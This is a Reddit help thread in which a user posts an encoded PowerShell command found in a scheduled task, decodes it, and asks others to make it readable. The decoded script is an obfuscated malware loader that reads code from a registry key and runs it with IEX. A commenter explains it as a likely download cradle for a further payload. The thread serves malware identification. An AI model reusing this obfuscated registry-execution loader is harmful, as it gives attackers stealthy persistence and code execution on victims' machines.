r/codebreaking • u/41ststbridge • Aug 01 '19
Windows powershell command
Found a task on a computer that ran this command with PowerShell:
JAB7AFIAYABFAGcAfQA9ACcASABLAEwATQAnADsAJAB7AHIARQBnAHAAYABBAGAAVABIAH0APQAnAFcAMQBWAFcARwBkAEEAZQBPAGEAJwA7ACQAewBSAEUARwBrAGAARQBgAHkATgBhAE0ARQB9AD0AJwBhAHcAVQBpAEwAWgBXAHcAVwA4ACcAOwAkAHsAcABBAHIAYABBAE0AfQA9ACcAXABNAGMAcgBrAHQAVQBaAHQAWQB5ACcAOwAkAHsAZgBgAFUAbABsAGAAUgBFAGcAfQA9ACQAewBSAGAAZQBnAH0AKwAnADoAJwArACgAKAAoACIAewA1AH0AewAyAH0AewAxAH0AewA0AH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAGUAewAwACcALAAnAHQAJwAsACcAUwBvAGYAJwAsACcAfQAnACwAJwB3AGEAcgAnACwAJwB7ADAAfQAnACkAKQAgAC0ARgAgAFsAYwBoAEEAcgBdADkAMgApACsAJAB7AFIAZQBgAGcAUABBAGAAVABIAH0AOwAkAHsAZQB4AGAAcABgAFIAZQBTAHMASQBvAG4AfQA9ACgALgAoACIAewAxAH0AewA0AH0AewAyAH0AewAzAH0AewAwAH0AIgAtAGYAIAAnAHIAdAB5ACcALAAnAEcAJwAsACcALQBJAHQAZQBtAFAAJwAsACcAcgBvAHAAZQAnACwAJwBlAHQAJwApACAAJAB7AEYAVQBMAEwAYABSAGAARQBnAH0AKQAuACQAewBQAGAAQQBSAGAAQQBNAH0AOwAmACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAeAAnACwAJwBpAGUAJwApACgAJAB7AGUAeABgAHAAcgBFAFMAUwBgAGkATwBuAH0AKQA=
I ran it through a base64 converter, and got this:
${REg}='HKLM';${rEgpATH}='W1VWGdAeOa';${REGkEyNaME}='awUiLZWwW8';${pArAM}='\McrktUZtYy';${fUllREg}=${Reg}+':'+((("{5}{2}{1}{4}{0}{3}" -f'e{0','t','Sof','}','war','{0}')) -F [chAr]92)+${RegPATH};${expReSsIon}=(.("{1}{4}{2}{3}{0}"-f 'rty','G','-ItemP','rope','et') ${FULLREg}).${PARAM};&("{1}{0}"-f 'x','ie')(${exprESS`iOn})
I can sort of read parts of that, but not everything.
Can anyone help make this human readable?
Also, beware, this is possibly code installed by some sort of malware.
View all comments
Show parent comment
2
u/Hubble_BC_Security Aug 02 '19
The code that was several hundred lines long looks like it was a byte code stream based on the script you have posted. That script is responsible for converting the byte stream to text and then the IEX at the end executes it. Most likely it was a download cradle that pulled over the next stage of the payload from the list if ip addresses you found also stored in the registry key